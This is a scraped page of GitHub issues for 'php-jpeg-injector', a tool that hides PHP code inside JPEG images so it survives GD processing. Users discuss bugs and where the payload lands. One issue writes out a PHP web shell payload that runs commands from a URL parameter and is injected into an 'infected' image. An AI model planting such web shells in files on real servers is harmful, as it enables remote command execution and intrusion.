Git Product home page Git Product logo

php-jpeg-injector's People

Contributors

apehex avatar dlegs avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

php-jpeg-injector's Issues

get_loc always returns an index, even when the magic number is missing

Hello again,

I think I spotted a mistake, line 28 of gd-jpeg.py.

str.find returns -1 if no match is found, and -1 evaluates to True.
So whether or not the magic number is found,

In case the magic number is not here, the code will be injected in position 9 = len(magic) - 1

if loc:
    print("Found magic number.")
    return loc

Error: concatenating bytes with str

Hey there, thanks a lot for this snippet!
It got me kickstarted with steganography while I thought it was out of reach :)

I had a few issues running it though, here's one about type mismatching:

Traceback (most recent call last):
  File "gd-jpeg.py", line 53, in <module>
    main()
  File "gd-jpeg.py", line 18, in main
    inject_payload(jpeg, loc, payload, output)
  File "gd-jpeg.py", line 37, in inject_payload
    bin_payload = bin(int(binascii.hexlify(payload),16))
TypeError: a bytes-like object is required, not 'str'

The filename, directory name, or volume label syntax is incorrect.

https://github.com/Himel-Sarkar/issuissues-/blob/main/php2jpg_issues.PNG?raw=true

==================================== issue ============================
C:\Users\Himel\AppData\Local\Temp\a\php2jpg>dir/b
2.jpeg
cat.jpg
gd-jpeg.py
php-jpeg-injector-master.zip

C:\Users\Himel\AppData\Local\Temp\a\php2jpg>py gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg
The filename, directory name, or volume label syntax is incorrect.

C:\Users\Himel\AppData\Local\Temp\a\php2jpg>python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg
The filename, directory name, or volume label syntax is incorrect.

payload not inserting in the right place

As i read the PoC of fakhrizulkifli i noticed your script isn't inserting the payload where it should be inserting which is "The place to be put PHP backdoor is right after the Scan Header (00 0C 03 01 00 02 11 03 11 00 3F 00)" according to fakhrizulkifli.
it instead inserts the payload to 3c 3f on my case
image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.